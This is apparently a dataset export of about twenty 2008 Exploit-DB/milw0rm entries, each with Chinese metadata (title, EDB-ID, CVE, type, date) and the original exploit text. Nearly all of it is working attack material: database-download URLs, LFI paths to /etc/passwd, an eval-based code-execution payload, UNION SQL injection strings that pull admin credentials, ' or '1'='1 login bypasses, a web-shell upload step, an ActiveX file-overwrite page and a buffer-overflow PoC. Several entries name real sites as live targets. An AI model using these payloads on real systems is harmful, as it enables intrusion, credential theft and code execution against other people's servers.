QLWD/code_shield huggingface dataset:
标题: QMail Mailing List Manager 1.2 - Database Disclosure EDB-ID: 7376 CVE: 2008-5606 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-07 漏洞利用脚本: ####################################################################################################
# QMail Mailing List Manager 1.2 (qmail.mdb) Database Disclosure Vulnerability                     #
# Â© Ghost Hacker - REAL-H.COM                                                                      #
####################################################################################################
#[~] Author : Ghost Hacker                                                                         #
#[~] Homepage : http://Real-h.com                                                                  #
#[~] Contact Me : Ghost-r00t[at]Hotmail[dot]com                                                    #
#[~] Bug : Database Disclosure                                                                     #
#[~] Name Script : QMail Mailing List Manager 1.2                                                  #
#[~] Download : http://www.dotnetindex.com/downloads/easy_download_getinfo.asp?id=6                #
####################################################################################################
#[~]Exploit                                                                                        #
# http://xxxx.com/[path]/database/qmail.mdb                                                        #
####################################################################################################
#[~]Greets :                                                                                       #
# Mr.SaFa7 [v4-team.com] , All Members Real-h.com and v4-team.net , All My Friends (3ed mobark)    #
####################################################################################################

# milw0rm.com [2008-12-07] URL: https://www.exploit-db.com/exploits/7376
标题: Mini-CMS 1.0.1 - 'index.php' Local File Inclusion EDB-ID: 7375 CVE: 2008-5593 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-07 漏洞利用脚本: /*

 $Id: minicms-1.0.1-lfi.txt,v 0.1 2008/12/06 04:06:00 cOndemned Exp $
 
 Mini-CMS 1.0.1 (index.php) Multiple Local File Inclusion Vulnerabilities
 Discovered by cOndemned

 Download : http://www.bpowerhouse.info/mini_cms.htm
 
 Greetz : ZaBeaTy, str0ke, d2, sid.psycho, Adish, TBH & Avantura ;*

*/

Source of index.php

 [...]

 9. $page = !empty($_GET['page']) ? $_GET['page'] : "home";
 10. $admin = !empty($_GET['admin']) ? $_GET['admin'] : "";
 
 [...]
 
 80. if (($page != "") && file_exists("page/" . $page . ".php")) {
 81.  require("page/" . $page . ".php");
 82. } else if (($admin != "") && file_exists("admin/" . $admin . ".php")) {
 83.  require("admin/" . $admin . ".php");

 [...]
 

Proof of Concept

 http://[host]/[mini_cms_1.0.1_path]/index.php?page=../../../../[local_file]%00
 http://[host]/[mini_cms_1.0.1_path]/index.php?admin=../../../../[local_file]%00
 

It's the same shit as in Mini-Blog 1.0.1... I don't even know how to call it... 
Maybe double fail ? x]
 
 
EoF

# milw0rm.com [2008-12-07] URL: https://www.exploit-db.com/exploits/7375
标题: Ikon ADManager 2.1 - Remote Database Disclosure EDB-ID: 7372 CVE: 2008-5596 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-07 漏洞利用脚本: ####################################################################################################
# Ikon AdManager 2.1 (ikonBAnner_AdManager.mdb) Database Disclosure Vulnerability                  #
# Â© Ghost Hacker - REAL-H.COM                                                                      #
####################################################################################################
#[~] Author : Ghost Hacker                                                                         #
#[~] Homepage : http://Real-h.com                                                                  #
#[~] Contact Me : Ghost-r00t[at]Hotmail[dot]com                                                    #
#[~] Bug : Database Disclosure                                                                     #
#[~] Name Script : Ikon AdManager 2.1                                                              #
#[~] Download : http://www.dotnetindex.com/downloads/easy_download_getinfo.asp?id=7                #
####################################################################################################
#[~]Exploit                                                                                        #
# http://xxxx.com/[path]/database/ikonBAnner_AdManager.mdb                                         #
################# ###################################################################################
#[~]Greets :                                                                                       #
# Mr.SaFa7 [v4-team.com] , All Members Real-h.com and v4-team.net , All My Friends (3ed mobark)    #
####################################################################################################

# milw0rm.com [2008-12-07] URL: https://www.exploit-db.com/exploits/7372
标题: Natterchat 1.12 - Database Disclosure EDB-ID: 7370 CVE: 2008-5602 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-07 漏洞利用脚本: ###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################

---------------------------- Tunisian Muslim ------------------------------

#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : Natterchat
#Version  : v1.12
#download : http://www.natterchat.co.uk/donate.asp?Download=file&fl=natterchat_version1.12
#Demo     : http://www.natterchat.co.uk/versionpagerefresh/


###########################################################################

#Exploits :

--=[DATABASE DISCLOSURE]=--
http://www.target.com/natterchat112.mdb


#live demo
http://www.natterchat.co.uk/versionpagerefresh/natterchat112.mdb


#Greetz For DragoBlati`

###########################################################################

# milw0rm.com [2008-12-07] URL: https://www.exploit-db.com/exploits/7370
标题: DesignWorks Professional 4.3.1 - '.CCT' File Local Stack Buffer Overflow (PoC) EDB-ID: 7362 CVE: 2008-6363 类型: DOS 平台: WINDOWS 发布日期: 2008-12-06 漏洞利用脚本: #
#                          I'm Cn4phux
#                  ------  |      ______ _____   (--, __*__  ______
#                  |____|  |  Â¤   |    | |       | ! )  |    |     |
#                [ |    |` |      | <> | |-----> |__/   |    |  Â¤  | ]
#                  | .. |  |____! |____| |____   |\     |    |-----|
#                                      |        _| \  -----  | ::: |
#                                      |         |  \
#                                |_____|         |   \
#                                                |
#                                                |
#                                               ,|.
#                                              / | \
#                                             |  |  |
#                                             |  _  |
#                                           `._\/.\/_,'
#                                             _( 8 )_
#                                            / '_ _' \
#                                           |  /{_}\  |
#                                           ` |  "  | `
#                                             |     |
#
#
# [+] Application               : DesignWorks Professional 4.3.1
#
# [+] Application's Description : (" DesignWorks Professional Schematic Capture for Windows...,Google-it.)
#
# [+] Bug                       : Local .CCT File Stack Buffer Overflow (PoC)
#
# [+] Author                    : Cn4phux
#
import sys
import os
print "[x] Local Stack Overflow PoC"
try:
   milef = open("x2.cct",'w')
  
except IOError, e:
    print "Unable to open file ", e
    sys.exit(0)
print "[x] File sucessfully opened for writing."
try:
   milef.write("A" * 10000)
except IOError, e:
   
    print "Unable to write to file ", e
    sys.exit(0)
   
print "[x] Exploit successfully written."
milef.close()
print "[x] ."
print "\n[x] Cn4phux made in DZ, Great'z to all Algerians. /Google.dz"

# milw0rm.com [2008-12-06] URL: https://www.exploit-db.com/exploits/7362
标题: ASPTicker 1.0 - Remote Database Disclosure EDB-ID: 7359 CVE: 2008-5603 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-05 漏洞利用脚本: [~] ASPTicker 1.0 DD Remote Vuln.
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------


exp for demo: ( DD )

http://demo.merlix.com/ticker/news.mdb

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-12-05] URL: https://www.exploit-db.com/exploits/7359
标题: ASP AutoDealer - Remote Database Disclosure EDB-ID: 7360 CVE: 2008-5608 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-06 漏洞利用脚本: [~] ASPAutoDealer DD Remote Vuln.
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------

exp for demo: ( DD )

http://demo.merlix.com/autodealer/auto.mdb

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

note: DD First submission /str0ke

# milw0rm.com [2008-12-06] URL: https://www.exploit-db.com/exploits/7360
标题: Cold BBS - Remote Database Disclosure EDB-ID: 7353 CVE: 2008-5597 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-05 漏洞利用脚本: ****(Database Disclosure Vulnerability)****

script: Cold BBS
   
***************************************************************************
download from:http://www.peachydandy.com/scripts/download.php?go=2&file=4&mirror=7
   
***************************************************************************
www.site.com/path/db/cforum.mdb
   
***************************************************


Author: ahmadbady 

my mail: kivi_hacker666@yahoo.com

***************************************************

# milw0rm.com [2008-12-05] URL: https://www.exploit-db.com/exploits/7353
标题: Visagesoft eXPert PDF EditorX - 'VSPDFEditorX.ocx' Insecure Method EDB-ID: 7358 CVE: 2008-6496 类型: DOS 平台: WINDOWS 发布日期: 2008-12-05 漏洞利用脚本: VISAGESOFT eXPert PDF EditorX (VSPDFEditorX.ocx) INSECURE METHOD
 SITE: http://www.visagesoft.com
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 Author: Marco Torti
 mail: marcotorti2[at]yahoo[dot]com
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 FileVersion:   1.0.200.0
 CLSID:  {89F968A1-DBAC-4807-9B3C-405A55E4A279}
 Description: Visagesoft eXPert PDF EditorX
 ProgID:        VSPDFEditorX.VSPDFEdit
 
  Marked as:
  RegKey Safe for Script: False
  RegKey Safe for Init: False
  Implements IObjectSafety: True
  IDisp Safe: Safe for untrusted: caller,data 
  IPStorage Safe: Safe for untrusted: caller,data
  KillBitSet: False
 
 ---Vulnerable method:
 ---extractPagesToFile(ByVal Filename  As String ,ByVal PagesRange  As String )

 ---Vulnerability Description:
    The "extractPagesToFile" method doesn't check user supplied arguments so we
    can save/overwrite a specified file passed as argument.
 Tested on Windows XP Professional SP3 fully patched, with Internet Explorer 7
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
<object classid='clsid:89F968A1-DBAC-4807-9B3C-405A55E4A279' id='target'/></object>
<input language=VBScript onclick=launch() type=button value='start'>
<script language='vbscript'>
Sub launch
target.extractPagesToFile "c:\windows\-system.ini","defaultV"
MsgBox"Exploit Completed.. file overwrite!"
End Sub
</script>

# milw0rm.com [2008-12-05] URL: https://www.exploit-db.com/exploits/7358
标题: Merlix Teamworx Server - File Disclosure/Bypass EDB-ID: 7352 CVE: 2008-5600 2008-5599 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-05 漏洞利用脚本: [~] Merlix Teamworx Server DD/Bypass Multiple Remote Vuln.
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------


exp for demo: ( DD )

http://demo.merlix.com/teamworx/teamworx.mdb

exp for demo: ( Bypass )

http://demo.merlix.com/teamworx/default.asp

user: ZoRLu ( or dont write anything )

passwd: ' or '

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-12-05] URL: https://www.exploit-db.com/exploits/7352
标题: ASP Portal - Multiple SQL Injections EDB-ID: 7357 CVE: 2008-5605 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-05 漏洞利用脚本: ###########################################################################
#---------------------------------------------------OffensiveTrack--------------------------------------------------------#
###########################################################################

---------------------------- Tunisian Muslim ------------------------------

#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : Merlix ASP PORTAL
#download : null
#Demo     : http://demo.merlix.com/portal/


#Exploit :
--=[SQL INJECTION]=--
http://demo.merlix.com/portal/classifieds.asp?ItemID=-0+union+select+1,2,3,4,5,6,7,8,9,10+from+Directory
http://demo.merlix.com/portal/Events.asp?ID=-0+union+select+1,2,3,4,5,6,7,8+from+Directory



#Greetz For Synex

###########################################################################

# milw0rm.com [2008-12-05] URL: https://www.exploit-db.com/exploits/7357
标题: Tizag Countdown Creator 3 - Insecure Upload EDB-ID: 7354 CVE: 2008-6492 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-05 漏洞利用脚本: ****(remote file upload)****

script: tizag-countdown_Version_3
                   
***************************************************************************
download from:http://www.tizag.com/downloads/tizag-countdown_Version_3.zip
                                                                                                         
***************************************************************************
www.site.com/path/index.php (upload file.php)

shell= www.site.com/path/pics/file.php
                          
***************************************************


Author: ahmadbady 

my mail: kivi_hacker666@yahoo.com

***************************************************

# milw0rm.com [2008-12-05] URL: https://www.exploit-db.com/exploits/7354
标题: nightfall personal diary 1.0 - Cross-Site Scripting / File Disclosure EDB-ID: 7351 CVE: 2008-5592 2008-5591 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-05 漏洞利用脚本: ###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################


---------------------------- Tunisian Muslim ------------------------------

#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org

#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : NightFall
#download : http://iwrite.brinkster.net/nightfall.zip



#Exploits :

--=[XSS]=--
in the login page /login.asp write in the login fields your evil codes


--=[Database Disclosure]=--
http://target.com/db/users-zza21.mdb



#special thanks for syst3m and crimeirc staff

###########################################################################

# milw0rm.com [2008-12-05] URL: https://www.exploit-db.com/exploits/7351
标题: ASP AutoDealer - SQL Injection / File Disclosure EDB-ID: 7356 CVE: 2008-5608 2008-5595 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-05 漏洞利用脚本: ###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################


---------------------------- Tunisia Muslim ------------------------------

#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org

#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : Merlix ASP AutoDealer
#download : null
#Demo     : http://demo.merlix.com/autodealer/



#Exploits :

--=[SQL INJECTION]=--
http://demo.merlix.com/autodealer/detail.asp?ID=-0+union+select+1,null,null,0,null,CDDoorID,null,null,null,null,CDDoorName,null,null,null,null,null,17+from+CDDOOR



--=[DATABASE DISCLOSURE]=--
http://demo.merlix.com/autodealer/auto.mdb


#Greetz For -|-Me!sTeR-|-

###########################################################################

# milw0rm.com [2008-12-05] URL: https://www.exploit-db.com/exploits/7356
标题: ASP PORTAL - Remote Database Disclosure EDB-ID: 7361 CVE: 2008-5562 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-06 漏洞利用脚本: [~] ASPAPPS Portal DD Remote Vuln.
[~]
[~] script: http://www.aspapps.com
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------


exp for demo: ( DD )

http://demo.merlix.com/portal/xportal.mdb

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-12-06] URL: https://www.exploit-db.com/exploits/7361
标题: Rankem - Authentication Bypass EDB-ID: 7350 CVE: 2008-5589 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-05 漏洞利用脚本: ###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################


---------------------------- Tunisia Muslim ------------------------------

#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org

#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : RankEm
#download : http://www.katywhitton.com/downloads/rankEm/rankEmDL.zip



#Exploit :
http://target.com/login.asp

username : ' or '1'='1
password : ' or '1'='1


#Live Demo :
http://www.top50.co.nz/login.asp

http://www.truckstop.nu/login.asp
  

username : ' or '1'='1
password : ' or '1'='1
 

#Greetz For W!nd[O]ws my partner :)

###########################################################################

# milw0rm.com [2008-12-05] URL: https://www.exploit-db.com/exploits/7350
标题: merlix educate servert - Authentication Bypass / File Disclosure EDB-ID: 7348 CVE: 2008-6871 2008-6870 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-05 漏洞利用脚本: [~] Merlix Educate Servert Bypass/DD Multiple Remote Vuln
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------

exp for demo: ( Bypass )

http://demo.merlix.com/school/admin/config.asp

http://demo.merlix.com/school/admin/users.asp

exp for demo: ( DD )

http://demo.merlix.com/school/db/db.mdb

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-12-05] URL: https://www.exploit-db.com/exploits/7348
标题: Gravity GTD 0.4.5 - Local File Inclusion / Remote Code Execution EDB-ID: 7344 CVE: 2008-5963 2008-5962 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-04 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #####################################################
 #  [ gravity-gtd <= 0.4.5 ]  LFI/RCE Vulnerability  #
 #####################################################
 #
 # Script: An open source list manager for tracking action items according to the principles of Getting Things Done (GTD).
 #
 # Download: http://sourceforge.net/projects/gravity-gtd/
 #
 # [LFI] Vuln: http://site.com/gravity/library/setup/rpc.php?objectname=/../../../../../../../../etc/passwd%00
 # [RCE] Vuln: http://site.com/gravity/library/setup/rpc.php?objectname=Xmenu();phpinfo();die
 #     
 # Bug: ./gravity-0.4.5/library/setup/rpc.php (lines: 15-20)
 #
 # ...
 #  $objectName = $_REQUEST['objectname'];
 #
 #
 #  include  ("../objects/class.".strtolower($objectName).".php");    // LFI
 #
 #  eval ('$instance = new '.$objectName.'();');        // RCE
 # ...   
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-12-04] URL: https://www.exploit-db.com/exploits/7344
标题: Multiple Membership Script 2.5 - 'id' SQL Injection EDB-ID: 7346 CVE: 2008-6362 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-05 漏洞利用脚本: ================================================
  Multiple Membership Script V 2.5 SQL Injection Vulnerability
================================================
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. Gaza Hacker Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /          
  / XXXXXX /
 (________(            
  `------'

AUTHOR : ViRuS_HaCkErS
Email  : h8g@hotmail.com
SITE   : gaza-hacker.com  & hacker.ps

#####################################################
#####################################################
---------
 Exploit
---------
SQL Injection Vulnerability

http://www.site.com/sitepage.php?id=-15+union+select+1,concat_ws(password,0x3a,username),3,4,5+from+affiliate_admin

sitepage.php?id=-15+union+select+1,concat_ws(password,0x3a,username),3,4,5+from+affiliate_admin
http://www.pricelesshost.com/mmsv2/sitepage.php?id=-15+union+select+1,concat_ws(password,0x3a,username),3,4,5+from+affiliate_admin
 
Login : http://www.site.com/admin

#######################################################################################
Gaza Hacker TeaM : Le0n &  Lito & cLAw & zero cod
#######################################################################################

# milw0rm.com [2008-12-05] URL: https://www.exploit-db.com/exploits/7346